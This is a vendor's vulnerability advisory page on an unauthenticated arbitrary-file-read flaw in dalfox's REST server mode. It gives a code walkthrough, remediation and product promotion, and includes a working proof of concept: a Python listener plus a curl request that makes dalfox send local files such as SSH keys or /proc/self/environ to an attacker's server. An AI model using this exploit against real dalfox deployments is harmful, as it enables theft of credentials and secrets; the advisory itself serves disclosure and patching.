Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-35wr-x7v6-9fv2

HIGH

GHSA-35wr-x7v6-9fv2 is a high-severity (CVSS 7.5) CWE-73 vulnerability in github.com/hahwul/dalfox/v2. O3 Security confirms whether GHSA-35wr-x7v6-9fv2 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Dalfox Server Mode has an Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via `custom-payload-file`

Also known asCVE-2026-45088GO-2026-5070
Published
May 12, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-35wr-x7v6-9fv2.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs16th percentile — riskier than 16% of all scored CVEsHighest risk
0.00%0.25%0.50%0.75%0.0%0.3%0.3%0.3%Jun 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-35wr-x7v6-9fv2 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 356,665 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/hahwul/dalfox/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

When dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic.

Severity

High (CVSS 3.1: 7.5)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • Attack Vector: Network — server binds to 0.0.0.0:6664 by default; reachable by any network peer.
  • Attack Complexity: Low — no preconditions beyond network access; skip-discovery and param are both attacker-supplied, so the code path is fully under attacker control.
  • Privileges Required: None — --api-key defaults to "", so the auth middleware is not registered.
  • User Interaction: None.
  • Scope: Unchanged — the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority.
  • Confidentiality Impact: High — the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, /etc/passwd, etc.
  • Integrity Impact: None — this path is read-only.
  • Availability Impact: None.

Affected Component

  • cmd/server.goinit() (line 51): --api-key defaults to "" — no auth by default
  • pkg/server/server.gosetupEchoServer() (line 68): auth middleware only registered when APIKey != ""
  • pkg/server/server.gopostScanHandler() (lines 173–191): rq.Options (including CustomPayloadFile) passed to ScanFromAPI without sanitization
  • lib/func.goInitialize() (line 117): CustomPayloadFile explicitly propagated from caller options
  • pkg/scanning/scan.go — anonymous block (lines 341–368): voltFile.ReadLinesOrLiteral(options.CustomPayloadFile) reads file; contents injected into outbound requests

CWE

  • CWE-306: Missing Authentication for Critical Function
  • CWE-73: External Control of File Name or Path
  • CWE-552: Files or Directories Accessible to External Parties

Description

custom-payload-file Is Fully Attacker-Controlled

model.Options exposes CustomPayloadFile with a JSON tag:

// pkg/model/options.go:33
CustomPayloadFile string `json:"custom-payload-file,omitempty"`

postScanHandler binds the entire Req.Options from the JSON body and passes it directly to ScanFromAPI:

// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)

ScanFromAPI passes rqOptions as target.Options to dalfox.Initialize:

// pkg/server/scan.go:22-27
target := dalfox.Target{
    URL:     url,
    Method:  rqOptions.Method,
    Options: rqOptions,
}
newOptions := dalfox.Initialize(target, target.Options)

Initialize explicitly copies CustomPayloadFile into newOptions with no filtering:

// lib/func.go:117
"CustomPayloadFile": {&newOptions.CustomPayloadFile, options.CustomPayloadFile},

File Read and Exfiltration Path

In pkg/scanning/scan.go, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path:

// pkg/scanning/scan.go:341-366
if (options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])) && options.CustomPayloadFile != "" {
    ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)
    if err != nil {
        printing.DalLog("SYSTEM", "Failed to load custom XSS payload file", options)
    } else {
        for _, customPayload := range ff {
            if customPayload != "" {
                for k, v := range params {
                    if optimization.CheckInspectionParam(options, k) {
                        ...
                        tq, tm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", encoder, options)
                        query[tq] = tm
                    }
                }
            }
        }
    }
}

Each line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. performScanning then dispatches every entry in the query map via SendReq, delivering the file's contents to the attacker's server as the value of the nominated parameter (e.g., ?q=<file-line>).

Condition Is Trivially Satisfiable

The condition options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"]) is satisfied by setting skip-discovery: true in the JSON request body — a field the attacker fully controls. When SkipDiscovery is true, the engine also requires at least one parameter via UniqParam (the -p flag), which the attacker supplies as param: ["q"]. The code then hardcodes policy["Content-Type"] = "text/html" and populates params["q"] automatically:

// pkg/scanning/scan.go:224-240
if len(options.UniqParam) == 0 {
    return scanResult, fmt.Errorf("--skip-discovery requires parameters to be specified with -p flag")
}
for _, paramName := range options.UniqParam {
    params[paramName] = model.ParamResult{
        Name: paramName, Type: "URL", Reflected: true, Chars: payload.GetSpecialChar(),
    }
}
policy["Content-Type"] = "text/html"

Both conditions are fully attacker-controlled through the JSON request body.

No Defense at Any Layer

The same opt-in API key guard from the first finding applies identically here:

// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
    e.Use(apiKeyAuth(options.APIKey, options))
}

With the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no IsAPI guard around the CustomPayloadFile read.

Proof of Concept

# Step 1 — Attacker-controlled receiver (logs q= parameter to stdout)
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query).get('q', [''])[0]
        print("[RECEIVED] q =", q, flush=True)
        body = b'<html><body>ok</body></html>'
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18081), H).serve_forever()
PY

# Step 2 — Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest

# Step 3 — Exfiltrate /etc/hostname (or any file readable by the dalfox process)
curl -s -X POST http://127.0.0.1:16664/scan \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:18081/?q=test",
    "options": {
      "custom-payload-file": "/etc/hostname",
      "only-custom-payload": true,
      "skip-discovery": true,
      "param": ["q"],
      "use-headless": false,
      "worker": 1
    }
  }'

# Expected output on the receiver (Step 1 terminal):
# [RECEIVED] q = myhostname.local

# For multi-line files (e.g. /etc/passwd), each line arrives as a separate request

No X-API-KEY header is required. Replace /etc/hostname with any file path accessible to the dalfox process (e.g., ~/.ssh/id_rsa, /run/secrets/db_password, /proc/self/environ).

Impact

  • Arbitrary file read on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, .env files, cloud credential files, /proc/self/environ) can be exfiltrated one line at a time.
  • No authentication required under the default configuration.
  • The exfiltration channel is the dalfox host's own outbound HTTP scan traffic — no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call.
  • Combined with the found-action RCE finding (separate issue), an attacker could first read /proc/self/environ to harvest secrets, then execute commands.

Recommended Remediation

Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)

Apply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers:

// pkg/server/server.go — in postScanHandler, before ScanFromAPI:
rq.Options.CustomPayloadFile = ""
rq.Options.CustomBlindXSSPayloadFile = ""
rq.Options.FoundAction = ""
rq.Options.FoundActionShell = ""
rq.Options.OutputFile = ""
rq.Options.HarFilePath = ""

Option 2: Require --api-key at server startup

Make authentication mandatory and refuse to start without it:

// cmd/server.go — in runServerCmd:
if serverType == "rest" && apiKey == "" {
    fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.")
    os.Exit(1)
}

Both options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem.

##Credit

Emmanuel David

Github:- https://github.com/drmingler

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/hahwul/dalfox/v2all versions2.13.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/hahwul/dalfox/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/hahwul/dalfox/v2 to 2.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-35wr-x7v6-9fv2 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-35wr-x7v6-9fv2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-35wr-x7v6-9fv2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary When dalfox is run in REST API server mode, the `custom-payload-file` field in `model.Options` is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through `dalfox.Initialize` into the scan engine. The engine passes the value to `voltFile.ReadLinesOrLiteral`, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate
O3 Security · Impact-Aware SCA

Is GHSA-35wr-x7v6-9fv2 in your dependencies?

O3 detects GHSA-35wr-x7v6-9fv2 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-35wr-x7v6-9fv2: v2 Remote Code… | O3 Security